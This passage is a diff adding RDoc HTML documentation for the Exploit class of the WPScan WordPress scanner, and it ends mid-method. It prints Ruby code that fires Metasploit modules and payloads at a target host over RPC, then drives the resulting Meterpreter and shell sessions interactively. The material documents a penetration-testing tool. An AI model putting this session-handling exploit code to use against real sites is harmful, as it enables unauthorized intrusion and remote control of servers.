@@ -0,0 +1,891 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: Exploit</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/exploit_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/exploit.rb">lib/wpscan/exploit.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-choose_session">#choose_session</a></li>
+          
+          <li><a href="#method-i-exploit">#exploit</a></li>
+          
+          <li><a href="#method-i-exploit_info">#exploit_info</a></li>
+          
+          <li><a href="#method-i-job_id">#job_id</a></li>
+          
+          <li><a href="#method-i-kill_session">#kill_session</a></li>
+          
+          <li><a href="#method-i-last_session_id">#last_session_id</a></li>
+          
+          <li><a href="#method-i-meterpreter_read">#meterpreter_read</a></li>
+          
+          <li><a href="#method-i-meterpreter_write">#meterpreter_write</a></li>
+          
+          <li><a href="#method-i-read_shell">#read_shell</a></li>
+          
+          <li><a href="#method-i-session_count">#session_count</a></li>
+          
+          <li><a href="#method-i-sessions">#sessions</a></li>
+          
+          <li><a href="#method-i-start">#start</a></li>
+          
+          <li><a href="#method-i-write_shell">#write_shell</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">Exploit</h1>
+
+    <div id="description" class="description">
+      
+<p>This library should contain all methods for exploitation.</p>
+
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="postdata-attribute-method" class="method-detail">
+          <a name="postdata"></a>
+          
+          <a name="postdata="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">postdata</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="rhost-attribute-method" class="method-detail">
+          <a name="rhost"></a>
+          
+          <a name="rhost="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">rhost</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="type-attribute-method" class="method-detail">
+          <a name="type"></a>
+          
+          <a name="type="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">type</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="uri-attribute-method" class="method-detail">
+          <a name="uri"></a>
+          
+          <a name="uri="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">uri</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(wp_url, type, uri, postdata, use_proxy, proxy_addr, proxy_port)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 27</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">wp_url</span>, <span class="ruby-identifier">type</span>, <span class="ruby-identifier">uri</span>, <span class="ruby-identifier">postdata</span>, <span class="ruby-identifier">use_proxy</span>, <span class="ruby-identifier">proxy_addr</span>, <span class="ruby-identifier">proxy_port</span>)
+  <span class="ruby-ivar">@wp_url</span> = <span class="ruby-constant">URI</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-identifier">wp_url</span>.<span class="ruby-identifier">to_s</span>)
+  <span class="ruby-ivar">@rhost</span> = <span class="ruby-ivar">@wp_url</span>.<span class="ruby-identifier">host</span>
+  <span class="ruby-ivar">@path</span> = <span class="ruby-ivar">@wp_url</span>.<span class="ruby-identifier">path</span>
+  <span class="ruby-ivar">@type</span> = <span class="ruby-identifier">type</span>
+  <span class="ruby-ivar">@uri</span> = <span class="ruby-identifier">uri</span>
+  <span class="ruby-ivar">@postdata</span> = <span class="ruby-identifier">postdata</span>
+  <span class="ruby-ivar">@session_in_use</span> = <span class="ruby-keyword">nil</span>
+  <span class="ruby-ivar">@use_proxy</span> = <span class="ruby-identifier">use_proxy</span>
+  <span class="ruby-ivar">@proxy_addr</span> = <span class="ruby-identifier">proxy_addr</span>
+  <span class="ruby-ivar">@proxy_port</span> = <span class="ruby-identifier">proxy_port</span>
+  <span class="ruby-identifier">start</span>()
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="choose_session-method" class="method-detail ">
+          <a name="method-i-choose_session"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">choose_session</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>if there is more than 1 session, allow the user to choose one.</p>
+            
+
+            
+            <div class="method-source-code" id="choose_session-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 148</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">choose_session</span>()
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">session_count</span>() <span class="ruby-operator">&gt;=</span> <span class="ruby-value">2</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[?] We have &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">session_count</span>().<span class="ruby-identifier">to_s</span> <span class="ruby-operator">+</span> <span class="ruby-string">&quot; sessions running. Please choose one by id.&quot;</span>
+    <span class="ruby-identifier">open_sessions</span> = <span class="ruby-string">&quot;&quot;</span>
+    <span class="ruby-identifier">sessions</span>.<span class="ruby-identifier">keys</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">open_session</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">open_sessions</span> <span class="ruby-operator">+=</span> <span class="ruby-identifier">open_session</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">+</span> <span class="ruby-string">&quot; &quot;</span>
+    <span class="ruby-keyword">end</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-identifier">open_sessions</span>
+    <span class="ruby-identifier">use_session</span> = <span class="ruby-constant">Readline</span>.<span class="ruby-identifier">readline</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;Using session &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">use_session</span>.<span class="ruby-identifier">to_s</span>
+    <span class="ruby-ivar">@session_in_use</span> = <span class="ruby-identifier">use_session</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;Using session &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">last_session_id</span>().<span class="ruby-identifier">to_s</span>
+    <span class="ruby-ivar">@session_in_use</span> = <span class="ruby-identifier">last_session_id</span>()
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- choose_session-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- choose_session-method -->
+
+      
+        <div id="exploit-method" class="method-detail ">
+          <a name="method-i-exploit"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">exploit</span><span
+              class="method-args">(msf_module, payload)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>exploit</p>
+            
+
+            
+            <div class="method-source-code" id="exploit-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 61</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">exploit</span>(<span class="ruby-identifier">msf_module</span>, <span class="ruby-identifier">payload</span>)
+
+  <span class="ruby-identifier">exploit_info</span>(<span class="ruby-identifier">msf_module</span>,<span class="ruby-identifier">payload</span>)
+
+  <span class="ruby-keyword">if</span> <span class="ruby-ivar">@postdata</span> <span class="ruby-operator">==</span> <span class="ruby-string">&quot;&quot;</span>
+    <span class="ruby-identifier">result</span> = <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">exploit</span>(<span class="ruby-identifier">msf_module</span>, {<span class="ruby-value">:RHOST</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@rhost</span>,<span class="ruby-value">:PATH</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@path</span>,<span class="ruby-value">:PHPURI</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@uri</span>,<span class="ruby-value">:PAYLOAD</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">payload</span>})
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">result</span> = <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">exploit</span>(<span class="ruby-identifier">msf_module</span>, {<span class="ruby-value">:RHOST</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@rhost</span>,<span class="ruby-value">:PATH</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@path</span>,<span class="ruby-value">:PHPURI</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@uri</span>,<span class="ruby-value">:POSTDATA</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@postdata</span>, <span class="ruby-value">:PAYLOAD</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">payload</span>})
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">result</span>[<span class="ruby-string">'result'</span>] <span class="ruby-operator">==</span> <span class="ruby-string">&quot;success&quot;</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[*] Exploit worked! Waiting for a session...&quot;</span>
+
+    <span class="ruby-identifier">session_spawn_timer</span> = <span class="ruby-constant">Time</span>.<span class="ruby-identifier">new</span>
+    <span class="ruby-keyword">while</span> <span class="ruby-identifier">sessions</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-keyword">or</span> <span class="ruby-identifier">sessions</span>.<span class="ruby-identifier">empty?</span>
+      <span class="ruby-comment"># wait for a session to spawn with a timeout of 1 minute</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-constant">Time</span>.<span class="ruby-identifier">now</span> <span class="ruby-operator">-</span> <span class="ruby-identifier">session_spawn_timer</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">60</span>
+        <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[ERROR] Session was not created... exiting.&quot;</span>
+        <span class="ruby-keyword">return</span> <span class="ruby-keyword">false</span>
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+
+    <span class="ruby-identifier">choose_session</span>()
+
+    <span class="ruby-identifier">input</span> = <span class="ruby-keyword">nil</span>
+    <span class="ruby-keyword">while</span> <span class="ruby-identifier">input</span>.<span class="ruby-identifier">nil?</span>
+      <span class="ruby-identifier">puts</span> <span class="ruby-identifier">meterpreter_read</span>(<span class="ruby-identifier">last_session_id</span>())
+      <span class="ruby-identifier">input</span> = <span class="ruby-constant">Readline</span>.<span class="ruby-identifier">readline</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-identifier">input</span> <span class="ruby-operator">==</span> <span class="ruby-string">&quot;exit&quot;</span>
+        <span class="ruby-identifier">kill_session</span>(<span class="ruby-ivar">@session_in_use</span>)
+        <span class="ruby-keyword">return</span> <span class="ruby-keyword">false</span>
+      <span class="ruby-keyword">end</span>
+      <span class="ruby-identifier">meterpreter_write</span>(<span class="ruby-identifier">last_session_id</span>(), <span class="ruby-identifier">input</span>)
+      <span class="ruby-identifier">input</span> = <span class="ruby-keyword">nil</span>
+    <span class="ruby-keyword">end</span>
+
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[ERROR] Exploit failed! :(&quot;</span>
+    <span class="ruby-keyword">return</span> <span class="ruby-keyword">false</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- exploit-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- exploit-method -->
+
+      
+        <div id="exploit_info-method" class="method-detail ">
+          <a name="method-i-exploit_info"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">exploit_info</span><span
+              class="method-args">(msf_module,payload)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>output our exploit data</p>
+            
+
+            
+            <div class="method-source-code" id="exploit_info-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 105</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">exploit_info</span>(<span class="ruby-identifier">msf_module</span>,<span class="ruby-identifier">payload</span>)
+  <span class="ruby-identifier">info</span> = <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">get_exploit_info</span>(<span class="ruby-identifier">msf_module</span>)
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| [EXPLOIT]&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| Name: &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">info</span>[<span class="ruby-string">'name'</span>]
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| Description: &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">info</span>[<span class="ruby-string">'description'</span>].<span class="ruby-identifier">gsub!</span>(<span class="ruby-string">&quot;\t&quot;</span>, <span class="ruby-string">&quot;&quot;</span>).<span class="ruby-identifier">gsub!</span>(<span class="ruby-string">&quot;\n\n&quot;</span>,<span class="ruby-string">&quot;\n&quot;</span>).<span class="ruby-identifier">gsub!</span>(<span class="ruby-string">&quot;\n&quot;</span>, <span class="ruby-string">&quot;\n| &quot;</span>).<span class="ruby-identifier">chop!</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| [OPTIONS]&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| RHOST: &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-ivar">@rhost</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| PATH: &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-ivar">@path</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| URI: &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">uri</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| POSTDATA: &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-ivar">@postdata</span> <span class="ruby-keyword">if</span> <span class="ruby-ivar">@postdata</span> <span class="ruby-operator">!=</span> <span class="ruby-string">&quot;&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;| Payload: &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">payload</span>
+  <span class="ruby-identifier">puts</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- exploit_info-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- exploit_info-method -->
+
+      
+        <div id="job_id-method" class="method-detail ">
+          <a name="method-i-job_id"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">job_id</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>not sure if this is needed?! not used.</p>
+            
+
+            
+            <div class="method-source-code" id="job_id-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 122</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">job_id</span>()
+  <span class="ruby-identifier">jobs</span> = <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">jobs</span>()
+  <span class="ruby-identifier">puts</span> <span class="ruby-identifier">jobs</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- job_id-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- job_id-method -->
+
+      
+        <div id="kill_session-method" class="method-detail ">
+          <a name="method-i-kill_session"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">kill_session</span><span
+              class="method-args">(id)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>kill a session by session id</p>
+            
+
+            
+            <div class="method-source-code" id="kill_session-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 167</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">kill_session</span>(<span class="ruby-identifier">id</span>)
+  <span class="ruby-keyword">begin</span>
+    <span class="ruby-identifier">killed</span> = <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">kill_session</span>(<span class="ruby-identifier">id</span>)
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">killed</span>[<span class="ruby-string">'result'</span>] <span class="ruby-operator">==</span> <span class="ruby-string">&quot;success&quot;</span>
+      <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[-] Session &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">id</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">+</span> <span class="ruby-string">&quot; killed.&quot;</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">rescue</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[] Session &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">id</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">+</span> <span class="ruby-string">&quot; does not exist.&quot;</span>
+    <span class="ruby-keyword">return</span> <span class="ruby-keyword">false</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- kill_session-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- kill_session-method -->
+
+      
+        <div id="last_session_id-method" class="method-detail ">
+          <a name="method-i-last_session_id"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">last_session_id</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>the last active session id created</p>
+            
+
+            
+            <div class="method-source-code" id="last_session_id-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 135</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">last_session_id</span>()
+  <span class="ruby-identifier">sessions</span>.<span class="ruby-identifier">keys</span>.<span class="ruby-identifier">last</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- last_session_id-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- last_session_id-method -->
+
+      
+        <div id="meterpreter_read-method" class="method-detail ">
+          <a name="method-i-meterpreter_read"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">meterpreter_read</span><span
+              class="method-args">(id)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>read data from a meterpreter session data must be base64 decoded.</p>
+            
+
+            
+            <div class="method-source-code" id="meterpreter_read-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 196</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">meterpreter_read</span>(<span class="ruby-identifier">id</span>)
+  <span class="ruby-constant">Base64</span>.<span class="ruby-identifier">decode64</span>(<span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">meterpreter_read</span>(<span class="ruby-identifier">id</span>)[<span class="ruby-string">'data'</span>])
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- meterpreter_read-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- meterpreter_read-method -->
+
+      
+        <div id="meterpreter_write-method" class="method-detail ">
+          <a name="method-i-meterpreter_write"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">meterpreter_write</span><span
+              class="method-args">(id, data)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>write data to a meterpreter session data must be base64 encoded.</p>
+            
+
+            
+            <div class="method-source-code" id="meterpreter_write-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 203</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">meterpreter_write</span>(<span class="ruby-identifier">id</span>, <span class="ruby-identifier">data</span>)
+  <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">meterpreter_write</span>(<span class="ruby-identifier">id</span>, <span class="ruby-constant">Base64</span>.<span class="ruby-identifier">encode64</span>(<span class="ruby-identifier">data</span>))
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- meterpreter_write-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- meterpreter_write-method -->
+
+      
+        <div id="read_shell-method" class="method-detail ">
+          <a name="method-i-read_shell"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">read_shell</span><span
+              class="method-args">(id)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>read data from a shell, meterpreter is not classed as a shell.</p>
+            
+
+            
+            <div class="method-source-code" id="read_shell-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 182</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">read_shell</span>(<span class="ruby-identifier">id</span>)
+  <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">read_shell</span>(<span class="ruby-identifier">id</span>)[<span class="ruby-string">'data'</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- read_shell-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- read_shell-method -->
+
+      
+        <div id="session_count-method" class="method-detail ">
+          <a name="method-i-session_count"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">session_count</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>a count of the amount of active sessions</p>
+            
+
+            
+            <div class="method-source-code" id="session_count-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 141</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">session_count</span>()
+  <span class="ruby-identifier">sessions</span>().<span class="ruby-identifier">size</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- session_count-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- session_count-method -->
+
+      
+        <div id="sessions-method" class="method-detail ">
+          <a name="method-i-sessions"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">sessions</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>all sessions and related session data</p>
+            
+
+            
+            <div class="method-source-code" id="sessions-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 129</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">sessions</span>()
+  <span class="ruby-identifier">sessions</span> = <span class="ruby-constant">RpcClient</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">sessions</span>()
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- sessions-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- sessions-method -->
+
+      
+        <div id="start-method" class="method-detail ">
+          <a name="method-i-start"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">start</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>figure out what to exploit</p>
+            
+
+            
+            <div class="method-source-code" id="start-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/exploit.rb, line 43</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">start</span>()
+  <span class="ruby-keyword">if</span> <span class="ruby-ivar">@type</span> <span class="ruby-operator">==</span> <span class="ruby-string">&quot;RFI&quot;</span>
+    <span class="ruby-identifier">puts</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[?] Exploit? [y/n]&quot;</span>
+    <span class="ruby-identifier">answer</span> = <span class="ruby-constant">Readline</span>.<span class="ruby-identifier">readline</span>
